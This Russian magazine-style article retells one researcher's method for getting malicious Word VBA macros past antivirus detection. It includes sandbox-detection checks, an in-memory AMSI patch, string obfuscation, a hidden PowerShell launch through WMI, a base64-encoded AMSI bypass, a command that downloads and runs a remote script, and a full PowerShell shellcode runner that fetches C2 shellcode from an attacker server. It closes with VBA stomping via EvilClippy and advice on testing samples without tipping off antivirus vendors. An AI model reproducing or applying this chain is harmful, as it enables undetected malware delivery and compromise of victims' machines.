February 21, 2024

О6фy$kация. Обходим детект вредоносных макросов Word

Ка­залось бы, мак­ровиру­сы дав­но и без­воз­врат­но ушли в прош­лое. Уж что‑что, а вре­донос­ные мак­росы в докумен­тах Office сов­ремен­ные анти­вирус­ные прог­раммы дол­жны обна­ружи­вать лег­ко и неп­ринуж­денно. Имен­но так и обсто­ят дела, если мак­рос, конеч­но, не обфусци­рован. Эффектив­ными при­ема­ми обхо­да анти­вирус­ного детек­та злов­редных VBA-мак­росов поделил­ся в сво­ей пуб­ликации незави­симый иссле­дова­тель Брен­дан Ортиз, а мы рас­ска­жем о его изыс­кани­ях тебе.

Го­товясь к сер­тифика­ции OSEP, Брен­дан Ортиз навер­няка выпил вед­ро кофе и перело­патил гигабай­ты тех­ничес­кой докумен­тации. Нас­чет кофе мы не уве­рены, а вот то, что резуль­татом этой под­готов­ки ста­ло мас­штаб­ное и под­робное иссле­дова­ние спо­собов зак­ладки VBA-мак­росов в самые обыч­ные докумен­ты Word, не под­лежит никако­му сом­нению. Брен­дан убе­дил­ся, что на сай­те antiscan.me (аль­тер­натива virustotal.com) ори­гиналь­ный файл обна­ружи­вал­ся как минимум 7 анти­вирус­ными движ­ками из 20. Тог­да он всерь­ез взял­ся за обфуска­цию сво­их художеств и смог в ито­ге сбить показа­тель детек­тирова­ния до 2 из 20. Пос­коль­ку анти­вирус­ные базы пери­оди­чес­ки обновля­ются, со вре­менем этот параметр вырос с 2 до 5. Но все рав­но — резуль­тат получил­ся впе­чат­ляющий.

Вся информа­ция в этой статье при­водит­ся исклю­читель­но в озна­коми­тель­ных целях, автор и редак­ция не несут никакой ответс­твен­ности за пос­ледс­твия исполь­зования этой пуб­ликации. Пре­дуп­режда­ем, что при выпол­нении мак­росов в докумен­тах Microsoft на тво­ем устрой­стве могут быть спро­воци­рова­ны нежела­тель­ные дей­ствия.

ПРОВЕРКА ЭМУЛЯЦИИ

Мно­гие анти­виру­сы, исполь­зующие для детек­тирова­ния вре­доно­сов эвристи­ку, запус­кают VBA-скрип­ты в «песоч­нице» с целью убе­дить­ся в их безопас­ности. Поэто­му нас­тоящие вирусо­писа­тели в пер­вую оче­редь про­веря­ют, работа­ет ли их сце­нарий в эму­лиро­ван­ной сре­де, и, если так, оста­нав­лива­ют выпол­нение вре­донос­ного пей­лоада, что­бы анти­вирус не забил тре­вогу.

Брен­дан Ортиз пред­ложил три прос­тых тес­та для опре­деле­ния эму­лято­ра. Эти тес­ты рас­полага­ются в самом начале соз­данно­го им мак­роса и не поз­воля­ют ему выпол­нить никаких злов­редных дей­ствий, если обна­ружит­ся, что скрипт запущен в изо­лиро­ван­ной сре­де.

Пер­вый тест иссле­дова­тель наз­вал Document Name. Во мно­гих слу­чаях, ког­да анти­вирус­ный дви­жок эму­лиру­ет выпол­нение мак­роса VBA, он меня­ет имя докумен­та либо добав­ляет к это­му име­ни некото­рое чис­ло, что­бы отсле­дить и пре­дот­вра­тить мно­гок­ратный запуск скрип­та. Этот тест про­веря­ет, сов­пада­ет ли с име­нем ори­гиналь­ного докумен­та имя того докумен­та, в котором выпол­няет­ся полез­ная наг­рузка.

Что­бы зашиф­ровать ста­тичес­кую стро­ку, в которой хра­нит­ся имя докумен­та, исполь­зует­ся сце­нарий PowerShell, а затем во вре­мя выпол­нения скрип­та для ее рас­шифров­ки вызыва­ется собс­твен­ная фун­кция Joy. Если имя активно­го докумен­та не сов­пада­ет с ука­зан­ным име­нем, про­вер­ка счи­тает­ся не прой­ден­ной и выпол­няет­ся выход из под­прог­раммы.

На вто­ром эта­пе про­веря­ется путь. Если мы заранее зна­ем, из какой пап­ки будет открыт документ с вре­донос­ным сце­нари­ем (нап­ример, из пап­ки «Заг­рузки» поль­зовате­ля Windows), то мы можем срав­нить ее с текущим путем. Несов­падение пути ука­жет на то, что скрипт, ско­рее все­го, работа­ет в анти­вирус­ном движ­ке. В этом слу­чае мы так­же выходим из под­прог­раммы.

На­конец, прос­той тест на вре­мя. Ког­да скрипт выпол­няет­ся в эму­лято­ре анти­виру­са, тот обыч­но про­пус­кает фраг­менты кода, в которых реали­зова­на пауза или «засыпа­ние», ина­че любящие «пос­пать» мак­ровиру­сы поп­росту завесят дви­жок. Поэто­му Брен­дан пред­ложил сле­дующую нехит­рую про­вер­ку: фик­сиру­ем акту­аль­ное вре­мя, «спим» две секун­ды, а затем про­сыпа­емся и вновь фик­сиру­ем вре­мя. Если раз­ница меж­ду дву­мя эти­ми зна­чени­ями сос­тавит мень­ше двух секунд, ско­рее все­го, мы в анти­вирус­ном движ­ке. В этом слу­чае под­прог­рамма так­же завер­шает­ся.

Ес­ли все три про­вер­ки завер­шились пол­ным и безого­вороч­ным успе­хом, мак­рос перехо­дит к выпол­нению полез­ной наг­рузки, которая выг­лядит при­мер­но так, как показа­но на сле­дующем рисун­ке.

По­лез­ная наг­рузка

НЕСКОЛЬКО СЛОВ ОБ AMSI

В ходе сво­их экспе­римен­тов Брен­дан Ортиз выяс­нил, что понача­лу его вре­донос­ный мак­рос успешно детек­тировал­ся эвристи­кой боль­шинс­тва анти­вирус­ных движ­ков. Кро­ме того, нес­мотря на мно­гочис­ленные попыт­ки иссле­дова­теля запус­тить мак­рос при вклю­чен­ной защите Windows Defender, сис­тема уби­вала скрипт. По какой же при­чине мак­рос помечал­ся как вре­донос­ный? Все дело в том, что интерфейс Anti-Malware Scan Interface (AMSI) заг­лядыва­ет в сце­нарий VBA и кон­тро­лиру­ет его поведе­ние.

Прин­цип работы AMSI

AMSI — это раз­работан­ный Microsoft интерфейс, который прис­пособ­лен к работе с любыми анти­виру­сами и поз­воля­ет им зап­рашивать информа­цию о про­цес­сах, про­исхо­дящих во вре­мя исполне­ния прог­рамм. Это зна­чит, что анти­виру­су переда­ются даже бес­фай­ловые угро­зы, нап­ример коман­ды PowerShell, если анти­вирус вызыва­ет AMSI. Еще это озна­чает, что ты можешь как угод­но обфусци­ровать полез­ную наг­рузку, но, как толь­ко она деоб­фусци­рует­ся во вре­мя выпол­нения, AMSI нач­нет отсле­живать поведе­ние кода.

Ког­да поль­зователь пыта­ется выпол­нить коман­ду в PowerShell, AMSI сна­чала заг­ружа­ет, а затем про­веря­ет эту коман­ду. Если обна­ружи­вают­ся какие‑либо эле­мен­ты, которые обыч­но исполь­зуют­ся для вре­донос­ных дей­ствий, в час­тнос­ти вызовы API Win32 или COM (то есть сра­баты­вают заложен­ные в AMSI «триг­геры»), то AMSI при­оста­нав­лива­ет подоз­ритель­ный про­цесс.

На кар­тинке ниже показа­но, как VBA интегри­рует­ся с AMSI. С уче­том все­го это­го иссле­дова­тель стал искать спо­собы усколь­знуть от прис­таль­ного вни­мания AMSI при выпол­нении скрип­тов VBA и PowerShell.

Ин­тегра­ция AMSI с JavaScript/VBA

ИМПОРТ WINDOWS API В VBA

На­чать Брен­дан решил с импорта фун­кций. Что­бы про­пат­чить AMSI в памяти, необ­ходим дос­туп к некото­рым низ­коуров­невым биб­лиоте­кам и фун­кци­ям Windows. В VBA раз­решено импорти­ровать API Windows для исполь­зования в мак­росе. Такая воз­можность радикаль­но рас­ширя­ет фун­кци­ональ­ность VBA.

Зло­умыш­ленник, вызывая опре­делен­ные API Windows из VBA, C#, PowerShell и т. д., дол­жен хорошень­ко в них разоб­рать­ся, что­бы все сде­лать пра­виль­но. Дело в том, что натив­ные фун­кции для этих целей в соот­ветс­тву­ющих язы­ках отсутс­тву­ют. Но, воору­жив­шись некото­рыми «под­готови­тель­ными зна­ниями», запол­нить эти про­белы доволь­но лег­ко. Ког­да ты зна­ешь, какие API Windows хочешь импорти­ровать, для начала обя­затель­но погуг­ли соот­ветс­тву­ющую докумен­тацию Microsoft. Там ты най­дешь под­робную информа­цию об инте­ресу­ющей тебя фун­кции, в час­тнос­ти каковы ее воз­вра­щаемые зна­чения, какие парамет­ры она при­нима­ет, в какой DLL находит­ся инте­ресу­ющий тебя API. Так ты получишь по‑нас­тояще­му хорошее пред­став­ление о событи­ях, про­исхо­дящих «под капотом» скрип­та.

Брен­дан исполь­зовал в сво­ем мак­росе объ­явле­ние PInvoke (Platform-Invoke, «Плат­формен­ный вызов»). PInvoke — это кол­лекция опре­деле­ний для вызова натив­ных фун­кций API Windows из язы­ков прог­рамми­рова­ния, в которых может отсутс­тво­вать такая низ­коуров­невая фун­кци­ональ­ность. Осо­бен­ности работы это­го инс­тру­мен­та под­робно опи­саны вот на этом сай­те. Там мож­но най­ти дек­ларации для импорта API в раз­личные сце­нарии на все слу­чаи жиз­ни.

ОБХОД AMSI

Им­порт необ­ходимых API Windows в VBA — это толь­ко пер­вый шаг. Что­бы при­думан­ный Брен­даном Орти­зом скрипт работал, нуж­но обой­ти AMSI. Для это­го иссле­дова­тель решил про­пат­чить AMSI пря­мо в памяти. А кон­крет­нее — про­пат­чить пер­вые нес­коль­ко бай­тов в фун­кци­ях AmsiScanBuffer и AmsiScanString из биб­лиоте­ки Amsi.dll, заг­ружа­емой из запущен­ного про­цес­са. Эти фун­кции, если верить докумен­тации Microsoft, отве­чают за ска­ниро­вание содер­жимого буфера в поис­ках харак­терных для мал­вари строк.

Патч AMSI

Сна­чала объ­явля­ется спи­сок ука­зате­лей перемен­ных для хра­нения адре­сов фун­кций. Затем в перемен­ной lib сох­раня­ется адрес из биб­лиоте­ки amsi.dll, это дела­ется при помощи нап­равля­емо­го к API Windows вызова LoadLib. Все стро­ки в этом пат­че памяти AMSI дол­жны быть обфусци­рова­ны. На пер­вом эта­пе автор скрип­та исполь­зовал для это­го фун­кцию VBA Chr(), что­бы скрыть некото­рые харак­терные стро­ки вро­де amsi.dLl и AmsiUacInitialize.

За­тем нуж­но най­ти, где лежит фун­кция AmsiScanString. Для это­го Брен­дан исполь­зовал фун­кцию Windows API GetProcAddress, пере­име­нован­ную в GetPrAddr. Пос­коль­ку AMSI еще не про­пат­чен, а вре­доно­сы час­то пыта­ются отклю­чить его, нацели­ваясь на фун­кции AmsiScanString и AmsiScanBuffer, автор скрип­та вос­поль­зовал­ся отно­ситель­ной адре­саци­ей, начиная с фун­кции AmsiUacInitialize.

Для начала Брен­дан вычел 96 из адре­са фун­кции AmsiUacInitialize и сох­ранил резуль­тат в перемен­ной func_addr. Затем выз­вал GetPrAddr со стро­ками‑аргу­мен­тами, пер­вая из которых — это адрес amsi.dll, а вто­рая — стро­ка AmsiUacInitialize, к которой при­мене­на обфуска­ция. Зачем вычитать 96? Все очень прос­то: Брен­дан про­шел­ся по про­цес­су Microsoft Word отладчи­ком WinDbg и выяс­нил, что адрес фун­кции AmsiScanString отсто­ит на 96 бай­тов от фун­кции AmsiUacInitialize.

Ес­ли прос­мотреть в WinDbg содер­жимое заг­ружен­ной в память биб­лиоте­ки AMSI.dll, начиная с фун­кции AmsiScanBuffer, рас­положен­ной по адре­су 0x100 в шес­тнад­цатерич­ной сис­теме (256 байт в десятич­ной), то мож­но уви­деть, как выг­лядит вер­хняя часть вывода.

Со­дер­жимое памяти биб­лиоте­ки AMSI.dll

Стрел­ка ука­зыва­ет на пер­вые опко­ды в фун­кции AmsiScanBuffer, а сле­ва показан ассо­цииро­ван­ный с этой инс­трук­цией адрес в памяти: 0x00007ffa054f35e0. Сле­дова­тель­но, фун­кция AmsiScanBuffer начина­ется имен­но в этой точ­ке. Изу­чив вывод далее, мож­но най­ти сле­дующую фун­кцию — AmsiScanString — и выяс­нить ее адрес: 0x00007ffa054f36e0.

Ад­рес фун­кции AmsiScanString

Да­лее Брен­дан отыс­кал в выводе отладчи­ка зна­чение перемен­ной func_addr, которую заг­рузил в свой мак­рос VBA при помощи фун­кции GetPrAddr. В этой перемен­ной находит­ся адрес фун­кции AmsiUacInitialize: 0x00007ffa054f3740.

По­иск адре­са фун­кции AmsiUacInitialize

Все, что оста­лось сде­лать авто­ру скрип­та, — это прос­то вычесть из адре­са фун­кции AmsiUacInitialize адре­са фун­кций AmsiScanString и AmsiScanBuffer. Так будут получе­ны отно­ситель­ные адре­са пос­ледних.

0x054f3740 (AmsiUacInitialize Start Address) - 0x054f36e0 (AmsiScanString Start Address) = 0x60 = 96 bytes 0x054f3740 (AmsiUacInitialize Start Address) - 0x54f35e0 (AmsiScanBuffer Start Address) = 0x160 = 352 bytes

Сле­дующая часть соз­данно­го Брен­даном Орти­зом мак­роса меня­ет защит­ные механиз­мы памяти и порядок дос­тупа к ней целевых фун­кций. Это дела­ется при помощи API-фун­кции VirtualProtect, которую автор пере­име­новал в VirtPro.

Ис­поль­зование фун­кции VirtualProtect

Фун­кция VirtualProtect меня­ет харак­терис­тики защиты в области вир­туаль­ной памяти, которая отно­сит­ся к адресно­му прос­транс­тву вызыва­юще­го про­цес­са. С ее помощью мож­но изме­нить показа­тели защиты для кон­крет­ного учас­тка памяти (с атри­бута­ми «толь­ко для чте­ния» или «для исполне­ния»), в резуль­тате чего появ­ляет­ся воз­можность редак­тировать рас­положен­ные там инс­трук­ции.

VirtualProtect при­нима­ет сле­дующие парамет­ры: адрес того мес­та, которое нуж­но отре­дак­тировать (это адрес инте­ресу­ющей нас фун­кции), раз­мер области памяти, которую тре­бует­ся редак­тировать (32 бай­та от начала адре­са), уров­ни защиты памяти, которые тре­бует­ся обес­печить (переда­ется в виде зна­чения, которое будет обра­баты­вать­ся при помощи побито­вой опе­рации AND). Наконец, в сце­нарии содер­жится перемен­ная flOldProtection. Фун­кция сох­раня­ет в эту перемен­ную ста­рое зна­чение парамет­ров защиты памяти — для пос­леду­юще­го исполь­зования.

По­лучив дос­туп к чте­нию и записи тех областей памяти, что пред­назна­чены толь­ко для записи, Брен­дан перешел непос­редс­твен­но к про­пат­чиванию AMSI. Для это­го он исполь­зовал WinAPI-фун­кцию RtlFillMemory. Такие фун­кции, как RtlMoveMemory, час­то исполь­зуют­ся вре­доно­сами, поэто­му лег­ко обна­ружи­вают­ся эвристи­кой анти­виру­сов. А вот RtlFillMemory — не самый час­тотный вари­ант, из‑за чего ее могут и не сэмули­ровать движ­ки, работа которых осно­вана на эвристи­ке. Да и при ста­тичес­ком ана­лизе анти­виру­сы далеко не всег­да обра­щают на нее вни­мание. Брен­дан пере­име­новал эту фун­кцию в patcher.

Ис­поль­зование фун­кции RtlFillMemory

В скрип­те выпол­няет­ся вызов фун­кции RtlFillMemory по псев­дониму patcher, ей переда­ются адре­са фун­кций AmsiScanString и AmsiScanBuffer. Затем нуж­но ука­зать, сколь­ко бай­тов тре­бует­ся запол­нить, и, наконец, передать шес­тнад­цатерич­ное зна­чение кода опе­рации, которое тре­бует­ся туда добавить: 0x90 — это код NOP, он ничего не дела­ет. Затем выпол­няет­ся то же дей­ствие, но с уве­личе­нием адре­са на 1, при этом фун­кции переда­ется код опе­рации return, который равен 0xc3.

В резуль­тате в начале фун­кции AmsiScanString будет пос­тавлен неопе­раци­онный код 0x90, а пос­ле него — код воз­вра­та 0xC3, и эта фун­кция прос­то завер­шится сра­зу пос­ле того, как будет выз­вана, что поз­волит обой­ти AMSI в VBA. Вот как выг­лядит выпол­нение фун­кции AmsiScanString пос­ле при­мене­ния пат­ча в отладчи­ке WinDbg.

Ре­зуль­тат пат­ча

Все, что оста­ется, — пов­торить весь про­цесс для фун­кции AmsiScanBuffer, сме­щение для которой уже извес­тно. Тут сто­ит отме­тить, что есть и более изощ­ренные спо­собы сде­лать это, нап­ример динами­чес­ки искать началь­ные бай­ты каж­дой фун­кции, как толь­ко адрес Amsi.dll будет заг­ружен в память. Кро­ме того, есть некото­рые отли­чия в про­цес­се пат­ча биб­лиоте­ки в 32-раз­рядной и 64-раз­рядной вер­сиях Word.

На некото­рых сай­тах мож­но встре­тить опи­сания спо­собов обхо­да AMSI на VBA с исполь­зовани­ем совер­шенно иных, аль­тер­натив­ных методов, не тре­бующих вза­имо­дей­ствия с API Windows. Прав­да, некото­рые из них тре­буют записы­вать на диск фай­лы, и с этим мож­но влип­нуть. При­меры на эту тему мож­но най­ти в сле­дующем Git-репози­тории.

ОБФУСКАЦИЯ СТРОК

Пос­коль­ку соз­данный Брен­даном Орти­зом VBA-скрипт исполь­зует WMI-объ­ект для порож­дения про­цес­са PowerShell, он неиз­бежно прив­лечет повышен­ное вни­мание любого анти­вирус­ного движ­ка. Наибо­лее оче­вид­ным решени­ем этой проб­лемы явля­ется шиф­рование ста­тичес­ких строк внут­ри мак­роса.

Нап­ример, при соз­дании объ­екта WMI исполь­зуют­ся такие стро­ки, как winmgmts:, Win32_ProcessStartup, Win32_Process и им подоб­ные. При ста­тичес­ком ска­ниро­вании мак­роса эти стро­ки будут иде­аль­ными мишеня­ми для анти­виру­са, он прос­то неиз­бежно пометит их как вре­донос­ные. Брен­дан исполь­зовал сле­дующий метод обфуска­ции.

Об­фуска­ция строк

Он объ­явил перемен­ную, в которой будут сох­ранять­ся ста­тичес­кие стро­ки, при­сутс­тву­ющие в мак­росе VBA. Затем он объ­явил выход­ную перемен­ную, в которой будет содер­жать­ся зашиф­рован­ная стро­ка. Пос­ле это­го он пре­обра­зовал полез­ную наг­рузку из стро­ковой перемен­ной в сим­воль­ный мас­сив. Затем десятич­ное зна­чение каж­дого сим­вола сум­миру­ется со зна­чени­ем 26. Далее он забил сим­вол допол­нитель­ными нулями, что­бы поз­же, в про­цес­се деоб­фуска­ции VBA, получи­лись пред­ска­зуемые 3-сим­воль­ные зна­чения. Если дли­на вывода сос­тавля­ет один сим­вол, то к нему добав­ляет­ся два нуля, если дли­на — два сим­вола, добав­ляет­ся один ноль, а если три сим­вола, ничего не добав­ляет­ся.

Та­ким обра­зом фор­миру­ется зашиф­рован­ная выход­ная стро­ка, которая отправ­ляет­ся в буфер обме­на через кон­вей­ер. Пос­ле запус­ка скрип­та в буфер обме­на помеща­ется стро­ка при­мер­но сле­дующе­го содер­жания.

Ре­зуль­тат запус­ка скрип­та

Де­обфусци­рующий мак­рос в VBA выг­лядит при­мер­но так.

Де­обфусци­рующий мак­рос

В скрип­те соз­дают­ся под­прог­раммы со слу­чай­ными име­нами, которые не выдадут анти­вирус­ному ска­неру, что про­цеду­ра может быть вре­донос­ной, а так­же запута­ют любого ана­лити­ка, которо­му попадет в руки такой мак­рос. В VBA под­прог­рамма вызыва­ется при помощи инс­трук­ции, которая име­ет при­мер­но сле­дующий вид.

Вы­зов под­прог­раммы

Сна­чала зашиф­рован­ная полез­ная наг­рузка пос­тупа­ет в под­прог­рамму Joy и запус­кает цикл Do While. Затем она отправ­ляет­ся в под­прог­рамму Man, извле­кающую пер­вые три чис­ла (вот зачем понадо­билось запол­нение нулями), пос­ле чего переда­ет эти сим­волы фун­кции bread. Она выч­тет 26 из трех сим­волов, что­бы получить кон­крет­ное дешиф­рован­ное чис­ло. Это чис­ло явля­ется ASCII-экви­вален­том сим­вола и сох­раня­ется в перемен­ной green.

Да­лее вся зашиф­рован­ная полез­ная наг­рузка отправ­ляет­ся фун­кции rand, которая уда­ляет из нее пер­вые три сим­вола и сох­раня­ет их обратно в перемен­ную paper. Затем про­цесс пов­торя­ется до тех пор, пока вся полез­ная наг­рузка не редуци­рует­ся до нуля.

На­конец, дешиф­рован­ная полез­ная наг­рузка воз­вра­щает­ся вызыва­ющей про­цеду­ре при помощи инс­трук­ции Joy = green.

ВЫПОЛНЕНИЕ POWERSHELL ПРИ ПОМОЩИ WMI

Да­лее необ­ходимо запус­тить экзем­пляр про­цес­са PowerShell при помощи WMI. Для это­го соз­дает­ся объ­ект WMI пос­редс­твом вызова фун­кции VBA GetObject с зашиф­рован­ной стро­кой winmgmts:, резуль­тат сох­раня­ется в перемен­ной ObjWMIService.

Пос­ле это­го вызыва­ется фун­кция Get из объ­екта WMI Service с зашиф­рован­ной вер­сией стро­ки Win32_ProcessStartup и сох­раня­ется в перемен­ную objStartup. Это поз­воля­ет задать парамет­ры запус­ка для соз­дава­емо­го скрип­том про­цес­са PowerShell. Сле­дующие дей­ствия нап­равле­ны на то, что­бы спря­тать окно PowerShell (для это­го зна­чение перемен­ной objConfig.showWindow уста­нав­лива­ется в 0) — поль­зователь даже не узна­ет, что в фоновом режиме выпол­няет­ся какой‑то скрипт.

Соз­данно­му про­цес­су переда­ются заранее сфор­мирован­ные парамет­ры и нас­трой­ки в виде нес­коль­ких сцеп­ленных строк. Весь ход соз­дания объ­екта WMIObject выг­лядит при­мер­но так.

Вы­пол­нение PowerShell при помощи WMI

ПОЛЕЗНАЯ НАГРУЗКА POWERSHELL

Преж­де чем запус­тить вре­донос­ную коман­ду PowerShell, необ­ходимо отклю­чить AMSI. Пос­коль­ку инстанс PowerShell порож­дает­ся в отдель­ном про­цес­се, здесь воз­ника­ет заг­воз­дка с еще одним слу­чаем интегра­ции AMSI, который при­дет­ся обой­ти преж­де, чем скрипт нач­нет какую‑либо вре­донос­ную активность.

Ра­бота мак­роса начина­ется с отклю­чения AMSI в VBA, что­бы во вре­мя исполне­ния сис­тема не помети­ла содер­жимое мак­роса как вре­донос­ное.

Для это­го объ­явля­ются три раз­ные стро­ки — str1, str2 и str3, а затем им переда­ется в качес­тве зна­чения полез­ная наг­рузка, которую нуж­но прог­нать через объ­ект WMI (про­цесс соз­дания это­го объ­екта был опи­сан выше). Это сде­лано ради удо­бочи­таемос­ти и при­год­ности к отладке: раз­делив полез­ную наг­рузку на фраг­менты, мож­но выявить, где имен­но она прек­раща­ет выпол­нять­ся.

Пер­вая стро­ка (str1) получа­ет в качес­тве наг­рузки зашиф­рован­ную вер­сию кода:

Powershell.exe -ep bypass -nop -c

Ес­ли не уда­ется соз­дать про­цесс PowerShell при выпол­нении мак­роса, то уже извес­тно, что проб­лема зак­люча­ется в пер­вом зашиф­рован­ном фраг­менте.

Вто­рая стро­ка (str2) получа­ет в качес­тве наг­рузки сле­дующий зашиф­рован­ный код:

"[System.text.encoding]::unicode.GetString([System.Convert]::Frombase64String('JABhACAAPQAgAFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAcwAoACkAOwBmAG8AcgBlAGEAYwBoACgAJABiACAAaQBuACAAJABhACkAewBpAGYAIAAoACQAYgAuAE4AYQBtAGUAIAAtAGwAaQBrAGUAIAAnAEEAJwAgACsAJwBtACcAKwAgACcAKgBpAFUAdABpAGwAcwAnACkAewAkAGMAPQAkAGIAfQB9ADsAJABkACAAPQAgACQAYwAuAEcAZQB0AEYAaQBlAGwAZABzACgAJwBOAG8AbgBwAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQA7AEYAbwByAGUAYQBjAGgAIAAoACQAZQAgAGkAbgAgACQAZAApACAAewBpAGYAIAAoACQAZQAuAE4AYQBtAGUAIAAtAGwAaQBrAGUAIAAnAGEAJwAgACsAIAAnACoARgBhAGkAbABlAGQAJwApAHsAJABmAD0AJABlAH0AfQA7ACQAZgAuAFMAZQB0AFYAYQBsAHUAZQAoACQAbgB1AGwAbAAsACAAJAB0AHIAdQBlACkA')) |iex;

Эта стро­ка — зашиф­рован­ный обход AMSI. Шиф­рование выпол­нено по осно­ванию 64, так как при перево­де с VBA на PowerShell могут воз­никнуть проб­лемы при переда­че спе­циаль­ных сим­волов. В декоди­рован­ном виде обход укла­дыва­ется в одну стро­ку, а в нес­верну­том выг­лядит при­мер­но так.

Код обхо­да AMSI — иллюс­тра­ция с сай­та depthsecurity.com

Ес­ли будет получе­но уве­дом­ление Microsoft Defender о бло­киров­ке скрип­та на дан­ном эта­пе, ста­нет оче­вид­но, что обход не удал­ся. Если не удас­тся уста­новить соеди­нение с веб‑сер­вером для ска­чива­ния полез­ной наг­рузки, но сам скрипт PowerShell запус­тится успешно, это так­же будет озна­чать, что проб­лема воз­никла имен­но здесь.

Третья стро­ка (str3) получа­ет в качес­тве наг­рузки такой код:

iex ((new-object net.webclient).downloadString('http:///sliver-sc-runner.ps1'))"

Так извле­кает­ся пер­вая часть полез­ной наг­рузки, заг­рузчик шелл‑кода, который будет заг­ружать байт‑код со ста­дии 2 и выпол­нять его непос­редс­твен­но в памяти.

ЗАГРУЗЧИК ШЕЛЛ-КОДА

Пос­ле запус­ка из PowerShell скрипт ска­чива­ет сге­нери­рован­ный шелл‑код, а затем, вос­поль­зовав­шись реф­лекси­ей, заг­ружа­ет фун­кции Windows API, экви­вален­тные VirtualAlloc, CreateThread и WaitForSingleObject.

Сге­нери­рован­ный шелл‑код исполь­зует заг­ружен­ные API Windows, что­бы выпол­нить код в текущем про­цес­се PowerShell. Это и называ­ется реф­лекси­ей, в ходе нее фун­кции соз­дают­ся и заг­ружа­ются в память. Есть при­чина, по которой нуж­но дей­ство­вать имен­но так, а не исполь­зовать, нап­ример, фун­кцию add-type из арсе­нала PowerShell.

Де­ло в том, что Add-Type соз­дает вре­мен­ный файл и сох­раня­ет его на диск. Такой файл — это арте­факт, по которо­му вирус­ный ана­литик может догадать­ся, что в сис­теме про­исхо­дит что‑то нехоро­шее. Кро­ме того, такой файл может быть замечен и прос­каниро­ван анти­вирус­ными движ­ками, ког­да он уже сох­ранен на диск.

В ито­ге соз­данный Брен­даном Орти­зом скрипт при­нял сле­дующий вид:

function LookUpFunction{ Param ($moduleName, $functionName) $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.UnsafeNativeMethods') $tmp=@() $assem.GetMethods() | ForEach-Object {If($_.Name -eq 'GetProcAddress') {$tmp += $_}} return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))}function getDelegateType{ Param ( [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func, [Parameter(Position = 1)] [Type] $delType = [Void] ) $type = [AppDOmain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule',$false).DefineType('MyDelegateType','Class, Public, Sealed, AnsiClass, AutoClass',[System.MulticastDelegate]) $type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime,Managed') $type.DefineMethod('Invoke','Public, HideBySig, NewSlot, Virtual',$delType, $func).SetImplementationFlags('Runtime,Managed') return $type.CreateType()}[Byte[]] $buf = (new-object net.webclient).DownloadData('http://<attacker controlled="" web="" server="">/<c2 generated="" shellcode="">.bin')$lpmem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookUpFunction Kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $buf.Length, 0x3000, 0x40)[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpmem, $buf.Length)$hThead = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookUpFunction Kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpmem,[IntPtr]::Zero,0, [IntPtr]::Zero)[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookUpFunction Kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThead, 0xFFFFFFFF)</c2></attacker>

При исполне­нии шелл‑код выпол­няет обратный вызов к сер­веру C2, а затем воз­вра­щает управле­ние шелл‑коду.

Скрипт отра­ботал и вер­нул управле­ние

СТОМПИНГ VBA

Ос­тает­ся пос­ледний этап — стом­пинг VBA. Это акт уда­ления час­тично сжа­той вер­сии исходно­го кода VBA, сох­ранен­ного в докумен­те, — так, что оста­ется толь­ко пред­варитель­но ском­пилиро­ван­ный код. Ког­да документ откры­вают на целевой машине в той же вер­сии Word, для которой соз­давал­ся скрипт, код VBA не ком­пилиру­ется заново — вмес­то это­го выпол­няет­ся сох­ранен­ный мак­рос VBA.

Та­ким обра­зом, если нам заб­лагов­ремен­но извес­тно, с какой вер­сией VBA будет выпол­нять­ся наш мак­рос, мы можем уда­лить из докумен­та исходный код и оста­вить толь­ко ском­пилиро­ван­ный. Бла­года­ря это­му радикаль­но сужа­ется воз­можность ана­лиза кода и сни­жает­ся веро­ятность его обна­руже­ния анти­виру­сом.

Для такой работы осо­бен­но хорош инс­тру­мент EvilClippy, который даже поз­воля­ет заменить нес­компи­лиро­ван­ный мак­рос VBA без­вред­ной вер­сией VBA-кода. Таким обра­зом, ты можешь заменить вре­донос­ный мак­рос на код, который пишет «Hello World!». Ког­да документ будет открыт, выпол­нится и вре­донос­ный мак­рос, если вер­сия Office — имен­но та, для которой он ком­пилиро­вал­ся. Все вышепе­речис­ленное EvilClippy может выпол­нить при помощи единс­твен­ной стро­ки кода, выг­лядящей при­мер­но так:

.\EvilClippy.exe -s 'C:\OSEP\module6\6_8_1_PowerShell_ShellCode_Runner\fake.vba' -d -r -g C:\OSEP\module6\6_8_1_PowerShell_ShellCode_Runner\6_8_2_WMI_2_PS_final_template.doc

В резуль­тате выпол­нения коман­ды в пап­ке с исходным фай­лом соз­дает­ся новый документ, к име­ни которо­го добав­лена стро­ка _EvilClippy.

Так работа­ет EvilClippy

Об­рати вни­мание, нас­коль­ко два этих фай­ла отли­чают­ся по раз­меру. Теперь оста­ется толь­ко заг­рузить вре­донос­ный документ на antiscan.me и пос­мотреть, сколь­ко анти­вирус­ных движ­ков рас­позна­ют его как вре­донос­ный. В дан­ном слу­чае обя­затель­но поль­зовать­ся antiscan.me, а не VirusTotal, пос­коль­ку пер­вый из этих двух сай­тов не переда­ет вре­донос­ную наг­рузку анти­вирус­ным ком­пани­ям для ее добав­ления в базы сиг­натур.

ВЫВОДЫ

А вот и резуль­тат!

